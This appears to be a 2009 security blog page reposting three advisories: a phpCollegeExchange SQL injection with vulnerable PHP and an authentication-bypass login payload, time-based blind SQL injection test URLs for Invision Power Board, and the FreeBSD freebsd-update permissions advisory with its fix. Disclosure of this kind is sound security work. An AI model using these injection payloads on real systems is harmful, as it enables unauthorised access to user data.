Another funny SQL injection may be seen in forgotpass.php.
It can be manipulate to send to an arbitrary email address
the  password of a registered user, knowing  the  AES key.

Vulnerable code:

……..

if( isset($_POST["handle"]) ){

……..

$query="SELECT AES_DECRYPT(password,’$AES_key’), email FROM users
WHERE (handle=’$handle’)";
$result = mysql_query($query);

if(mysql_num_rows($result)){

  $r = mysql_fetch_array($result);

  $email = $r[1];
  $pass = $r[0];

  ……..

  mail("$email", "Your Book Exchange Password", $emailcontent);

……..

IV. SAMPLE CODE

A) Authentication Bypass

Username: -1′) UNION ALL SELECT ‘foo’#
Password: foo

B) Multiple SQL Injection

A proof of concept can be found here:
http://poc.salvatorefresta.net/PoC-phpCollegeExchange.txt

V. FIX

No fix.

VIII. DISCLOSURE TIMELINE

2009-12-11 Bug discovered
2009-12-11 Initial vendor contact
2009-12-11 Advisory Release

Tagged with:
Dec 06

Version:

Invision Power Services Invision Power Board 2.3.6
Invision Power Services Invision Power Board 3.0.4

Description:

The attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Test

http://www.example.com/?app=forums&amp;module=moderate&amp;section=moderate&amp;f=1&amp;do=prune_move&amp;df=3&amp;pergo=50&amp;dateline=0&amp;state=open&amp;ignore_pin=1&amp;max=0&amp;s
tarter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(15)%20–%20skip%20&amp;auth_key=c4276b77602767228faa9760eb4a5abd

http://www.example.com/forum/?act=mod&amp;f=1&amp;CODE=prune_move&amp;df=3&amp;pergo=50&amp;dateline=0&amp;state=open&amp;ignore_pin=1&amp;max=0&amp;starter=1%20AND%20starter_id=1%20OR
%20substr(version(),1,1)=5%20AND%20sleep(16)%20–%20skip%20&amp;auth_key=040c4a6e768d626b4c05a4bb0fbf315c

Tagged with:
Dec 05

—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA1
========================================================================
=====
FreeBSD-SA-09:17.freebsd-update Security Advisory
The FreeBSD Project
Topic: Inappropriate directory permissions in freebsd-update(8)
Category: core
Module: usr.sbin
Announced: 2009-12-03
Credits: KAMADA Ken’ichi
Affects: All supported versions of FreeBSD.
Corrected: 2009-12-03 09:18:40 UTC (RELENG_8, 8.0-STABLE)
2009-12-03 09:18:40 UTC (RELENG_8_0, 8.0-RELEASE-p1)
2009-12-03 09:18:40 UTC (RELENG_7, 7.2-STABLE)
2009-12-03 09:18:40 UTC (RELENG_7_2, 7.2-RELEASE-p5)
2009-12-03 09:18:40 UTC (RELENG_7_1, 7.1-RELEASE-p9)
2009-12-03 09:18:40 UTC (RELENG_6, 6.4-STABLE)
2009-12-03 09:18:40 UTC (RELENG_6_4, 6.4-RELEASE-p8)
2009-12-03 09:18:40 UTC (RELENG_6_3, 6.3-RELEASE-p14)
For general information regarding FreeBSD Security Advisories,
including descriptions of the fields above, security branches, and the
following sections, please visit <URL:http://security.FreeBSD.org/>.
I. Background
The freebsd-update(8) utility is used to fetch, install, and rollback
updates to the FreeBSD base system, and also to upgrade from one FreeBSD
release to another.
II. Problem Description
When downloading updates to FreeBSD via ‘freebsd-update fetch’ or
‘freebsd-update upgrade’, the freebsd-update(8) utility copies currently
installed files into its working directory (/var/db/freebsd-update by
default) both for the purpose of merging changes to configuration files
and in order to be able to roll back installed updates.
The default working directory used by freebsd-update(8) is normally
created during the installation of FreeBSD with permissions which allow
all local users to see its contents, and freebsd-update(8) does not take
any steps to restrict access to files stored in said directory.
III. Impact
A local user can read files which have been updated by freebsd-update(8),
even if those files have permissions which would normally not allow users
to read them. In particular, on systems which have been upgraded using
‘freebsd-update upgrade’, local users can read freebsd-update’s backed-up
copy of the master password file.
IV. Workaround
Set the permissions on the freebsd-update(8) working directory to not
allow unprivileged users to read said directory:
# chmod 0700 /var/db/freebsd-update
Note that if freebsd-update(8) is run using the ‘-d workdir’ option, the
directory which should have its permissions adjusted will be different.
V. Solution
Perform one of the following:
1) Upgrade your vulnerable system to 6-STABLE, 7-STABLE or 8-STABLE,
or to the RELENG_8_0, RELENG_7_2, RELENG_7_1, RELENG_6_4, or
RELENG_6_3 security branch dated after the correction date.
2) To patch your present system:
The following patch has been verified to apply to FreeBSD 6.3, 6.4,
7.1, 7.2, and 8.0 systems.
a) Download the relevant patch from the location below, and verify the
detached PGP signature using your PGP utility.
# fetch http://security.FreeBSD.org/patches/SA-09:17/freebsd-update.patch
# fetch http://security.FreeBSD.org/patches/SA-09:17/freebsd-update.patch.asc
b) Execute the following commands as root:
# cd /usr/src
# patch < /path/to/patch
# cd /usr/src/usr.sbin/freebsd-update
# make obj && make depend && make && make install
# chmod 0700 /var/db/freebsd-update
VI. Correction details
The following list contains the revision numbers of each file that was
corrected in FreeBSD.
CVS:
Branch Revision
Path
- ————————————————————————
-
RELENG_6
src/usr.sbin/freebsd-update/freebsd-update.sh 1.2.2.11
src/etc/mtree/BSD.var.dist 1.71.2.4
RELENG_6_4
src/UPDATING 1.416.2.40.2.12
src/sys/conf/newvers.sh 1.69.2.18.2.14
src/usr.sbin/freebsd-update/freebsd-update.sh 1.2.2.10.2.2
src/etc/mtree/BSD.var.dist 1.71.2.3.6.2
RELENG_6_3
src/UPDATING 1.416.2.37.2.19
src/sys/conf/newvers.sh 1.69.2.15.2.18
src/usr.sbin/freebsd-update/freebsd-update.sh 1.2.2.8.2.1
src/etc/mtree/BSD.var.dist 1.71.2.3.4.1
RELENG_7
src/usr.sbin/freebsd-update/freebsd-update.sh 1.8.2.5
src/etc/mtree/BSD.var.dist 1.75.2.1
RELENG_7_2
src/UPDATING 1.507.2.23.2.8
src/sys/conf/newvers.sh 1.72.2.11.2.9
src/usr.sbin/freebsd-update/freebsd-update.sh 1.8.2.4.4.2
src/etc/mtree/BSD.var.dist 1.75.8.2
RELENG_7_1
src/UPDATING 1.507.2.13.2.12
src/sys/conf/newvers.sh 1.72.2.9.2.13
src/usr.sbin/freebsd-update/freebsd-update.sh 1.8.2.4.2.2
src/etc/mtree/BSD.var.dist 1.75.6.2
RELENG_8
src/usr.sbin/freebsd-update/freebsd-update.sh 1.16.2.3
src/etc/mtree/BSD.var.dist 1.75.10.2
RELENG_8_0
src/UPDATING 1.632.2.7.2.4
src/sys/conf/newvers.sh 1.83.2.6.2.4
src/usr.sbin/freebsd-update/freebsd-update.sh 1.16.2.2.2.2
src/etc/mtree/BSD.var.dist 1.75.10.1.2.2
- ————————————————————————
-
Subversion:
Branch/path Revision
- ————————————————————————
-
stable/6/ r200054
releng/6.4/ r200054
releng/6.3/ r200054
stable/7/ r200054
releng/7.2/ r200054
releng/7.1/ r200054
stable/8/ r200054
releng/8.0/ r200054
- ————————————————————————
-
VII. References
The latest revision of this advisory is available at
http://security.FreeBSD.org/advisories/FreeBSD-SA-09:17.freebsd-update.a
sc
—–BEGIN PGP SIGNATURE—–
Version: GnuPG v1.4.10 (FreeBSD)
iEYEARECAAYFAksXhA0ACgkQFdaIBMps37Lg+wCfSK5sMXpsxTW9jpgwwcqx+24z
zzwAniR50V8K8/vI0qshCUaKwryEYDuK
=/lsC
—–END PGP SIGNATURE—–

Tagged with:
preload preload preload